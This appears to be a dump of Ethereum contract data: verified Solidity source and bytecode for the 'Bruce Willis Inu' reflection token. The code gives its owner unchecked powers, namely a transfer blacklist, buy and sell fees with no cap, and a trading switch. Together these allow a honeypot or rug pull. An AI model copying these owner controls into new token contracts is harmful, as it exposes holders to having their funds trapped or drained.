73ffffffffffffffffffffffffffffffffffffffff1602179055505b600073ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff161415611717576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180611b366025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff16141561179d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526023815260200180611aa36023913960400191505060405180910390fd5b6117a8868686611a9d565b61181384604051806060016040528060268152602001611ae8602691396000808a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546119559092919063ffffffff16565b6000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506118a6846000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a1590919063ffffffff16565b6000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef866040518082815260200191505060405180910390a3505050505050565b6000838311158290611a02576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b838110156119c75780820151818401526020810190506119ac565b50505050905090810190601f1680156119f45780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b600080828401905083811015611a93576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b50505056fe45524332303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f206164647265737345524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa2646970667358221220d1ef7ed1328f43a79738558d370435b81b257e270ceba8e268e3bf811992fef564736f6c63430006060033
{"success": true, "error": null, "results": {}}
4,822
0x090dba825ab4c0572c8de63098c4d198508eba7f
/** *Submitted for verification at Etherscan.io on 2022-03-31 */ /** *Submitted for verification at Etherscan.io on 2022-03-30 */ /** *Submitted for verification at Etherscan.io on 2022-03-27 */ /** Bruce Willis Inu https://t.me/BruceWillisReal */ // SPDX-License-Identifier: Unlicensed pragma solidity ^0.8.9; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } contract BRItoken is Context, IERC20, Ownable { using SafeMath for uint256; string private constant _name = "Bruce Willis Inu"; string private constant _symbol = "BWI"; uint8 private constant _decimals = 9; mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _redisFeeOnBuy = 0; uint256 private _taxFeeOnBuy = 12; uint256 private _redisFeeOnSell = 0; uint256 private _taxFeeOnSell = 12; //Original Fee uint256 private _redisFee = _redisFeeOnSell; uint256 private _taxFee = _taxFeeOnSell; uint256 private _previousredisFee = _redisFee; uint256 private _previoustaxFee = _taxFee; mapping(address => bool) public bots; mapping (address => uint256) public _buyMap; address payable private _developmentAddress = payable(0xB1025385b23957333BE9225453030AB704024B41); address payable private _marketingAddress = payable(0xB1025385b23957333BE9225453030AB704024B41); IUniswapV2Router02 public uniswapV2Router; address public uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = true; uint256 public _maxTxAmount = 1000000 * 10**9; uint256 public _maxWalletSize = 10000000 * 10**9; uint256 public _swapTokensAtAmount = 10000 * 10**9; event MaxTxAmountUpdated(uint256 _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor() { _rOwned[_msgSender()] = _rTotal; IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);// uniswapV2Router = _uniswapV2Router; uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_developmentAddress] = true; _isExcludedFromFee[_marketingAddress] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require( rAmount <= _rTotal, "Amount must be less than total reflections" ); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if (_redisFee == 0 && _taxFee == 0) return; _previousredisFee = _redisFee; _previoustaxFee = _taxFee; _redisFee = 0; _taxFee = 0; } function restoreAllFee() private { _redisFee = _previousredisFee; _taxFee = _previoustaxFee; } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { //Trade start check if (!tradingOpen) { require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled"); } require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit"); require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!"); if(to != uniswapV2Pair) { require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!"); } uint256 contractTokenBalance = balanceOf(address(this)); bool canSwap = contractTokenBalance >= _swapTokensAtAmount; if(contractTokenBalance >= _maxTxAmount) { contractTokenBalance = _maxTxAmount; } if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; //Transfer Tokens if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) { takeFee = false; } else { //Set Fee for Buys if(from == uniswapV2Pair && to != address(uniswapV2Router)) { _redisFee = _redisFeeOnBuy; _taxFee = _taxFeeOnBuy; } //Set Fee for Sells if (to == uniswapV2Pair && from != address(uniswapV2Router)) { _redisFee = _redisFeeOnSell; _taxFee = _taxFeeOnSell; } } _tokenTransfer(from, to, amount, takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _marketingAddress.transfer(amount); } function setTrading(bool _tradingOpen) public onlyOwner { tradingOpen = _tradingOpen; } function manualswap() external { require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function blockBots(address[] memory bots_) public onlyOwner { for (uint256 i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function unblockBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer( address sender, address recipient, uint256 amount, bool takeFee ) private { if (!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if (!takeFee) restoreAllFee(); } function _transferStandard( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns ( uint256, uint256, uint256, uint256, uint256, uint256 ) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _redisFee, _taxFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues( uint256 tAmount, uint256 redisFee, uint256 taxFee ) private pure returns ( uint256, uint256, uint256 ) { uint256 tFee = tAmount.mul(redisFee).div(100); uint256 tTeam = tAmount.mul(taxFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues( uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate ) private pure returns ( uint256, uint256, uint256 ) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner { _redisFeeOnBuy = redisFeeOnBuy; _redisFeeOnSell = redisFeeOnSell; _taxFeeOnBuy = taxFeeOnBuy; _taxFeeOnSell = taxFeeOnSell; } //Set minimum tokens required to swap. function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner { _swapTokensAtAmount = swapTokensAtAmount; } //Set minimum tokens required to swap. function toggleSwap(bool _swapEnabled) public onlyOwner { swapEnabled = _swapEnabled; } //Set maximum transaction function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner { _maxTxAmount = maxTxAmount; } function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner { _maxWalletSize = maxWalletSize; } function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner { for(uint256 i = 0; i < accounts.length; i++) { _isExcludedFromFee[accounts[i]] = excluded; } } }
0x6080604052600436106101d05760003560e01c80637d1db4a5116100f7578063a2a957bb11610095578063c492f04611610064578063c492f0461461065c578063dd62ed3e14610685578063ea1644d5146106c2578063f2fde38b146106eb576101d7565b8063a2a957bb146105a2578063a9059cbb146105cb578063bfd7928414610608578063c3c8cd8014610645576101d7565b80638f70ccf7116100d15780638f70ccf7146104fa5780638f9a55c01461052357806395d89b411461054e57806398a5c31514610579576101d7565b80637d1db4a5146104675780637f2feddc146104925780638da5cb5b146104cf576101d7565b8063313ce5671161016f5780636fc3eaec1161013e5780636fc3eaec146103d357806370a08231146103ea578063715018a61461042757806374010ece1461043e576101d7565b8063313ce5671461032b57806349bd5a5e146103565780636b999053146103815780636d8aa8f8146103aa576101d7565b80631694505e116101ab5780631694505e1461026d57806318160ddd1461029857806323b872dd146102c35780632fd689e314610300576101d7565b8062b8cf2a146101dc57806306fdde0314610205578063095ea7b314610230576101d7565b366101d757005b600080fd5b3480156101e857600080fd5b5061020360048036038101906101fe9190612d51565b610714565b005b34801561021157600080fd5b5061021a61083e565b6040516102279190612e22565b60405180910390f35b34801561023c57600080fd5b5061025760048036038101906102529190612e7a565b61087b565b6040516102649190612ed5565b60405180910390f35b34801561027957600080fd5b50610282610899565b60405161028f9190612f4f565b60405180910390f35b3480156102a457600080fd5b506102ad6108bf565b6040516102ba9190612f79565b60405180910390f35b3480156102cf57600080fd5b506102ea60048036038101906102e59190612f94565b6108cf565b6040516102f79190612ed5565b60405180910390f35b34801561030c57600080fd5b506103156109a8565b6040516103229190612f79565b60405180910390f35b34801561033757600080fd5b506103406109ae565b60405161034d9190613003565b60405180910390f35b34801561036257600080fd5b5061036b6109b7565b604051610378919061302d565b60405180910390f35b34801561038d57600080fd5b506103a860048036038101906103a39190613048565b6109dd565b005b3480156103b657600080fd5b506103d160048036038101906103cc91906130a1565b610acd565b005b3480156103df57600080fd5b506103e8610b7f565b005b3480156103f657600080fd5b50610411600480360381019061040c9190613048565b610c50565b60405161041e9190612f79565b60405180910390f35b34801561043357600080fd5b5061043c610ca1565b005b34801561044a57600080fd5b50610465600480360381019061046091906130ce565b610df4565b005b34801561047357600080fd5b5061047c610e93565b6040516104899190612f79565b60405180910390f35b34801561049e57600080fd5b506104b960048036038101906104b49190613048565b610e99565b6040516104c69190612f79565b60405180910390f35b3480156104db57600080fd5b506104e4610eb1565b6040516104f1919061302d565b60405180910390f35b34801561050657600080fd5b50610521600480360381019061051c91906130a1565b610eda565b005b34801561052f57600080fd5b50610538610f8c565b6040516105459190612f79565b60405180910390f35b34801561055a57600080fd5b50610563610f92565b6040516105709190612e22565b60405180910390f35b34801561058557600080fd5b506105a0600480360381019061059b91906130ce565b610fcf565b005b3480156105ae57600080fd5b506105c960048036038101906105c491906130fb565b61106e565b005b3480156105d757600080fd5b506105f260048036038101906105ed9190612e7a565b611125565b6040516105ff9190612ed5565b60405180910390f35b34801561061457600080fd5b5061062f600480360381019061062a9190613048565b611143565b60405161063c9190612ed5565b60405180910390f35b34801561065157600080fd5b5061065a611163565b005b34801561066857600080fd5b50610683600480360381019061067e91906131bd565b61123c565b005b34801561069157600080fd5b506106ac60048036038101906106a7919061321d565b611376565b6040516106b99190612f79565b60405180910390f35b3480156106ce57600080fd5b506106e960048036038101906106e491906130ce565b6113fd565b005b3480156106f757600080fd5b50610712600480360381019061070d9190613048565b61149c565b005b61071c61165d565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146107a9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107a0906132a9565b60405180910390fd5b60005b815181101561083a576001601060008484815181106107ce576107cd6132c9565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550808061083290613327565b9150506107ac565b5050565b60606040518060400160405280601081526020017f42727563652057696c6c697320496e7500000000000000000000000000000000815250905090565b600061088f61088861165d565b8484611665565b6001905092915050565b601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000670de0b6b3a7640000905090565b60006108dc84848461182e565b61099d846108e861165d565b61099885604051806060016040528060288152602001613d6760289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061094e61165d565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546120b19092919063ffffffff16565b611665565b600190509392505050565b60185481565b60006009905090565b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6109e561165d565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a72576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a69906132a9565b60405180910390fd5b6000601060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b610ad561165d565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610b62576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b59906132a9565b60405180910390fd5b80601560166101000a81548160ff02191690831515021790555050565b601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610bc061165d565b73ffffffffffffffffffffffffffffffffffffffff161480610c365750601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610c1e61165d565b73ffffffffffffffffffffffffffffffffffffffff16145b610c3f57600080fd5b6000479050610c4d81612115565b50565b6000610c9a600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612181565b9050919050565b610ca961165d565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610d36576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d2d906132a9565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b610dfc61165d565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610e89576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e80906132a9565b60405180910390fd5b8060168190555050565b60165481565b60116020528060005260406000206000915090505481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b610ee261165d565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610f6f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f66906132a9565b60405180910390fd5b80601560146101000a81548160ff02191690831515021790555050565b60175481565b60606040518060400160405280600381526020017f4257490000000000000000000000000000000000000000000000000000000000815250905090565b610fd761165d565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611064576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161105b906132a9565b60405180910390fd5b8060188190555050565b61107661165d565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611103576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110fa906132a9565b60405180910390fd5b8360088190555082600a819055508160098190555080600b8190555050505050565b600061113961113261165d565b848461182e565b6001905092915050565b60106020528060005260406000206000915054906101000a900460ff1681565b601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166111a461165d565b73ffffffffffffffffffffffffffffffffffffffff16148061121a5750601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661120261165d565b73ffffffffffffffffffffffffffffffffffffffff16145b61122357600080fd5b600061122e30610c50565b9050611239816121ef565b50565b61124461165d565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146112d1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112c8906132a9565b60405180910390fd5b60005b838390508110156113705781600560008686858181106112f7576112f66132c9565b5b905060200201602081019061130c9190613048565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550808061136890613327565b9150506112d4565b50505050565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b61140561165d565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611492576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611489906132a9565b60405180910390fd5b8060178190555050565b6114a461165d565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611531576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611528906132a9565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16036115a0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611597906133e1565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036116d4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116cb90613473565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611743576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161173a90613505565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516118219190612f79565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff160361189d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161189490613597565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff160361190c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161190390613629565b60405180910390fd5b6000811161194f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611946906136bb565b60405180910390fd5b611957610eb1565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156119c55750611995610eb1565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611db057601560149054906101000a900460ff16611a54576119e6610eb1565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614611a53576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a4a9061374d565b60405180910390fd5b5b601654811115611a99576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a90906137b9565b60405180910390fd5b601060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015611b3d5750601060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b611b7c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b739061384b565b60405180910390fd5b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614611c295760175481611bde84610c50565b611be8919061386b565b10611c28576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c1f90613933565b60405180910390fd5b5b6000611c3430610c50565b9050600060185482101590506016548210611c4f5760165491505b808015611c67575060158054906101000a900460ff16155b8015611cc15750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b8015611cd95750601560169054906101000a900460ff165b8015611d2f5750600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611d855750600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611dad57611d93826121ef565b60004790506000811115611dab57611daa47612115565b5b505b50505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611e575750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b80611f0a5750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614158015611f095750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b5b15611f18576000905061209f565b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16148015611fc35750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b15611fdb57600854600c81905550600954600d819055505b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156120865750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b1561209e57600a54600c81905550600b54600d819055505b5b6120ab84848484612466565b50505050565b60008383111582906120f9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016120f09190612e22565b60405180910390fd5b50600083856121089190613953565b9050809150509392505050565b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc8290811502906040516000604051808303